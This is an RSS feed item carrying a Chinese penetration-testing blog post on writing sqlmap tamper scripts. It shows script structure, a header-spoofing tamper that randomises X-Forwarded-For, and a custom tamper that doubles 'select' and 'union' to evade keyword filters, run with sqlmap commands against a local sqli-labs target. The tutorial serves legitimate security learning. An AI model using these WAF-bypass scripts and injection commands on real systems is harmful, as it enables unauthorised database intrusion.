<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>tamper &#8211; ChaBug安全</title>
	<atom:link href="/tags/tamper/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 18 Nov 2019 02:53:56 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>sqlmap tamper编写</title>
		<link>/web/1039.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 18 Nov 2019 02:53:56 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[sqlmap]]></category>
		<category><![CDATA[tamper]]></category>
		<guid isPermaLink="false">/?p=1039</guid>

					<description><![CDATA[简单介绍tamper sqlmap的--tamper参数可以引入用户自定义的脚本来修改注入时的payload，由此可以使用tamper来绕过waf，替换被过滤的关键字等。这是一个基...]]></description>
										<content:encoded><![CDATA[<h1>简单介绍<span class="wpcom_tag_link"><a href="/tags/tamper" title="tamper" target="_blank">tamper</a></span></h1>
<p><span class="wpcom_tag_link"><a href="/tags/sqlmap" title="sqlmap" target="_blank">sqlmap</a></span>的<code>--tamper</code>参数可以引入用户自定义的脚本来修改注入时的payload，由此可以使用tamper来绕过waf，替换被过滤的关键字等。这是一个基本的tamper结构</p>
<pre><code class="language-python ">#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW # 当前脚本调用优先等级

def dependencies(): # 声明当前脚本适用/不适用的范围，可以为空。
    pass

def tamper(payload, **kwargs): # 用于篡改Payload、以及请求头的主要函数
    return payload
</code></pre>
<p>需要把他保存为 <code>my.py</code> 放入 <code>sqlmaptamper</code> 路径下，然后使用的时候加上参数 <code>--tamper=my</code> 就行了</p>
<h1>简单分析</h1>
<p>拿官方的一个tamper来分析下结构</p>
<pre><code class="language-python ">#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def randomIP():
    numbers = []

    while not numbers or numbers[0] in (10, 172, 192):
        numbers = random.sample(xrange(1, 255), 4)

    return '.'.join(str(_) for _ in numbers)

def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    return payload
</code></pre>
<p>分为了import部分、<code>__priority__</code> 属性、dependencies函数、tamper函数以及用户自定义的函数</p>
<h1>import</h1>
<p>这一部分我们可以导入sqlmap的内部库，sqlmap为我们提供了很多封装好的函数和数据类型，比如下文的<code>PRIORITY</code>就来源于<code>sqlmap/lib/core/enums.py</code></p>
<h2>PRIORITY</h2>
<p>PRIORITY是定义tamper的优先级，PRIORITY有以下几个参数:<br />
&#8211; LOWEST = -100<br />
&#8211; LOWER = -50<br />
&#8211; LOW = -10<br />
&#8211; NORMAL = 0<br />
&#8211; HIGH = 10<br />
&#8211; HIGHER = 50<br />
&#8211; HIGHEST = 100<br />
如果使用者使用了多个tamper，sqlmap就会根据每个tamper定义PRIORITY的参数等级来优先使用等级较高的tamper，如果你有两个tamper需要同时用，需要注意这个问题。</p>
<h1>dependencies</h1>
<p>dependencies主要是提示用户，这个tamper支持哪些数据库，具体代码如下:</p>
<pre><code class="">#!/usr/bin/env python

"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS

__priority__ = PRIORITY.NORMAL

def dependencies():
    singleTimeWarnMessage("这是我的tamper提示")

def tamper(payload, **kwargs):
    return payload
</code></pre>
<p><img src="https://user-images.githubusercontent.com/40487319/69019353-363aa900-09eb-11ea-83b2-c8c10fbeeedb.png" alt="image" /></p>
<p>DBMS.MYSQL这个参数代表的是Mysql，其他数据库的参数也可以看这个<code>sqlmaplibcoreenums.py</code></p>
<p><img src="/wp-content/uploads/2019/11/69019392-6d10bf00-09eb-11ea-83e4-169a2e13dbf0.png" alt="image" /></p>
<h1>Tamper</h1>
<p>tamper这个函数是tamper最重要的函数，你要实现的功能，全部写在这个函数里。payload这个参数就是sqlmap的原始注入payload，我们要实现绕过，一般就是针对这个payload的修改。kwargs是针对http头部的修改，如果你bypass，是通过修改http头，就需要用到这个</p>
<h2>基于payload</h2>
<p>先来基于修改payload来绕过替换关键字，我使用sqlilab的第一关，并且修改了部分代码来把恶意关键字替换为空来避免联合查询，如图</p>
<p><img src="/wp-content/uploads/2019/11/69020192-a7c82680-09ee-11ea-8c8d-00e09627f22c.png" alt="image" /></p>
<p>编写tamper来双写绕过</p>
<pre><code class="">def tamper(payload, **kwargs):
    payload = payload.lower()
    payload = payload.replace('select','seleselectct')
    payload = payload.replace('union','ununionion')
    return payload
</code></pre>
<p>没有使用tamper之前，我们加上<code>--tech=U</code>来让sqlmap只测试联合查询注入，<code>--flush-session</code>意思是每次刷新会话，清理上次的缓存。</p>
<pre><code class="">sqlmap -u http://php.local/Less-1/?id=1 --tech=U --flush-session --proxy=http://127.0.0.1:8080/ --random-agent --dbms=mysql
</code></pre>
<p><img src="/wp-content/uploads/2019/11/69020183-a0088200-09ee-11ea-912e-01e970f087f6.png" alt="image" /></p>
<p>从burp的流量中看到payload是没有双写的，必然会注入失败。而使用了tamper之后</p>
<pre><code class="">sqlmap -u http://php.local/Less-1/?id=1 --tech=U --flush-session --proxy=http://127.0.0.1:8080/ --random-agent --tamper=my --dbms=mysql
</code></pre>
<p><img src="/wp-content/uploads/2019/11/69020623-1954a480-09f0-11ea-9479-ba0190158a3e.png" alt="image" /></p>
<p>payload正常双写，可以注入</p>
<p><img src="/wp-content/uploads/2019/11/69020652-38533680-09f0-11ea-8974-9b23d6289a52.png" alt="image" /></p>
<h2>基于http头</h2>
<p>我们使用<code>sqlmaptamperxforwardedfor.py</code>的tamper来讲解</p>
<pre><code class="">def tamper(payload, **kwargs):
    """
    Append a fake HTTP header 'X-Forwarded-For'
    """

    headers = kwargs.get("headers", {})
    headers["X-Forwarded-For"] = randomIP()
    headers["X-Client-Ip"] = randomIP()
    headers["X-Real-Ip"] = randomIP()
    return payload
</code></pre>
<p>从<code>kwargs</code>中取出<code>headers</code>数组，然后修改了xff值达到随机IP的效果，不再赘述。</p>
<h1>总结</h1>
<p>本文简单介绍了tamper的编写，并使用双写做了实例演示，在实际的渗透测试中，我们需要针对不同的waf来编写不同的tamper来灵活使用。</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
